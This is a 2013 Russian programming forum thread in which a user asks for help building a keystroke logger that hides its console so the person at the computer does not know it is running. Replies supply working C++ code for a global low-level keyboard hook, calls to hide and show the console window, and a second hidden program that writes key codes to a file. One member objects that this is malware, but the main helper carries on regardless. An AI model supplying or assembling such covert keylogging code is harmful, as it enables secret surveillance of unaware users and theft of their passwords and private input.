32 / 13 / 3
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
1

Обработчик нажатия клавиш

15.08.2013, 13:10. Показов 9341. Ответов 21
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Хочу написать обработчик нажатия клавиш. А именно чтобы после запуска приложения консольное окно сворачивалось и программа считывала все нажатые клавиши и записывала их в текстовой файлов.

Вот основные проблемы, которые у меня возникают при создании:

1) Каким именно должен быть обработчик клавиш
2) Как полностью свернуть окно, чтобы оно нигде не отображалось и как потом постоянно считывать клавиши


Заранее спасибо!
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
15.08.2013, 13:10
Ответы с готовыми решениями:

Нажатия клавиш
В mfc нужно чтобы при нажатии клавиш, происходило действие. С помощью WM_KEYDOWN, пытался сделать,...

Отслеживание нажатия клавиш.
#include <iostream> #include <string> #define FOR(i,a,b) for (int i(a), _n(b); i < _n; ++i) ...

Отлов нажатия клавиш
Доброго времени суток! Стоит задача при нажатии оперделенной клавиши выполнить действие. Код: ...

Отслеживание нажатия клавиш
Помогите решить Напишите программу, печатающие коды, генерируемые при нажатии любой клавиши или...

21
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 13:13 2
Цитата Сообщение от Egor138 Посмотреть сообщение
2) Как полностью свернуть окно, чтобы оно нигде не отображалось и как потом постоянно считывать клавиши
Зачем его сворачивать? Просто не создавай его.
0
32 / 13 / 3
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 13:20  [ТС] 3
Цитата Сообщение от castaway Посмотреть сообщение
Зачем его сворачивать? Просто не создавай его.
Мне нужно теперь запустить обработчик. Какая архитектура и вообще как его создать?
0
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 13:22 4
Можно установить хук: SetWindowsHookEx ( http://msdn.microsoft.com/en-u... 85%29.aspx ) на клавиатуру ( WH_KEYBOARD_LL ).
0
41 / 37 / 8
Регистрация: 24.07.2013
Сообщений: 219
15.08.2013, 14:46 5
Конешно немного страшно отвечать но походу имеется виду создать обработчик не используя винапи )) так как походу человек весит в консоли и дальше пока еще ничего не видит)
0
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 15:11 6
Не знаю что ему нужно.. Вот пример для WinAPI без записи в файл:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>
#include <cstdio>
 
static LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) {
    if ( wParam == WM_KEYDOWN ) {
        KBDLLHOOKSTRUCT * pkhs = (KBDLLHOOKSTRUCT *)lParam;
        if ( pkhs->vkCode == VK_ESCAPE ) PostQuitMessage( 0 );
        printf( "%c", (int)pkhs->vkCode );
    }
    return CallNextHookEx( 0, nCode, wParam, lParam );
}
 
int main()
{
    HHOOK g_hHook = SetWindowsHookEx( WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0 );
    MSG msg;
    GetMessage( &msg, NULL, 0, 0 );
    UnhookWindowsHookEx( g_hHook );
    return 0;
}
1
32 / 13 / 3
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 15:49  [ТС] 7
castaway, а вот за это спасибо! действительно то, что и хотел. А теперь можно консоль полностью убрать. Тоесть чтобы она вообще нигде не отображалась и пользователь не знал о ее существовании, но при нажатии комбинации, допустим cltr+alt+f1 она появлялась ??
0
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 15:54 8
Скрыть консоль: ShowWindow( GetConsoleWindow(), SW_HIDE );
Показать: ShowWindow( GetConsoleWindow(), SW_SHOW );
Как это сделать по комбинации клавиш сам сообразишь.
1
Каратель
Эксперт С++
6609 / 4028 / 401
Регистрация: 26.03.2010
Сообщений: 9,273
Записей в блоге: 1
15.08.2013, 15:56 9
Цитата Сообщение от Egor138 Посмотреть сообщение
Тоесть чтобы она вообще нигде не отображалась и пользователь не знал о ее существовании

Не по теме:

за вами уже выехали

2
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 15:58 10
Цитата Сообщение от Jupiter Посмотреть сообщение
Запрещено создание и распространение вредоносного ПО, вирусов, кряков и взлома лицензионного софта, а также публикация ссылок для их скачивания.
Ну тут пока нет ничего того что подходило бы под эти критерии
1
32 / 13 / 3
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 16:02  [ТС] 11
Jupiter, Пишу исключительно для собственного интереса и не более )
0
Каратель
Эксперт С++
6609 / 4028 / 401
Регистрация: 26.03.2010
Сообщений: 9,273
Записей в блоге: 1
15.08.2013, 16:02 12
castaway
Цитата Сообщение от Egor138 Посмотреть сообщение
программа считывала все нажатые клавиши
Цитата Сообщение от Egor138 Посмотреть сообщение
пользователь не знал о ее существовании
а шо это как не вредоносное ПО
0
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 16:04 13
Цитата Сообщение от Jupiter Посмотреть сообщение
а шо это как не вредоносное ПО
Keylogger далеко не всегда является вредоносным ПО.
0
32 / 13 / 3
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 16:58  [ТС] 14
castaway, а для чего вы использовали
C++
1
GetMessage( &msg, NULL, 0, 0 );
???
0
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 17:00 15
Без нее не будет работать хук.
0
150 / 137 / 35
Регистрация: 29.07.2012
Сообщений: 709
15.08.2013, 17:12 16
Давно делал тоже такую программу. Хотел что-то подобное KeyLogger за пользователем. Надо будет переделаешь для себя. Вот код:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#pragma hdrstop
#include <iostream>
#include <fstream>
#include <Windows>
#include <conio>
 
using namespace std;
 
void main()
{
SetConsoleCP(1251);
SetConsoleOutputCP(1251);
ofstream f;
SYSTEMTIME st;
GetSystemTime(&st);
f.open("file.txt");
HWND hWnd = GetConsoleWindow ();
ShowWindow(hWnd, SW_HIDE);
while(getch() != 27)
{
while(!kbhit());
 
f << "Код клавишы - " << getch() << "День - " << st.wDay << endl;
 
}
ShowWindow(hWnd, SW_SHOW);
 
f.close(); 
}
1
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 17:20 17
Bend3r, это программа не будет работать если окно потеряет фокус, а оно его потеряет.
1
150 / 137 / 35
Регистрация: 29.07.2012
Сообщений: 709
15.08.2013, 17:55 18
Цитата Сообщение от castaway Посмотреть сообщение
Bend3r, это программа не будет работать если окно потеряет фокус, а оно его потеряет.
Программа будет работать, т.к программа свернется в трей. И закрыть можно будет только через диспечер либо нажатием Esc.
1
Эксперт С++
4985 / 3092 / 456
Регистрация: 10.11.2010
Сообщений: 11,169
Записей в блоге: 10
15.08.2013, 18:06 19
Во-первых не в трей, а в taskbar.
Во-вторых не важно куда свернется программа, важно что она будет "ловить" нажатия клавиш только тогда, когда на ней будет установлен фокус. Если окно с программой теряет фокус (если щелкнуть левой кнопкой мыши по другому окну, т.е. активировать другое окно), то и "ловить" она ничего не будет. Вы хоть сами то запускали свою программу?
1
1642 / 1091 / 487
Регистрация: 17.07.2012
Сообщений: 5,345
16.08.2013, 22:42 20
Цитата Сообщение от Egor138 Посмотреть сообщение
Jupiter, Пишу исключительно для собственного интереса и не более )
А зачем консоль скрывать?
0
16.08.2013, 22:42
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
16.08.2013, 22:42
Помогаю со студенческими работами здесь

Обработка нажатия клавиш
Здравствуйте! Необходимо решить следующую задачу: Есть консольное приложение, которое...

Имитация нажатия клавиш С/С++
Задача такая: Программа должна имитировать нажатие клавиш в фоновом режиме. То-есть она должна...

Распознавание нажатия клавиш
Народ всем привет... Как осуществить на с++ такую вот прикалюху: при нажатии клавиши, например...

Обработка нажатия клавиш
Помогите, пожалуйста понять где ошибка. Есть функции: Move - двигает прямоугольник по консоли в...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru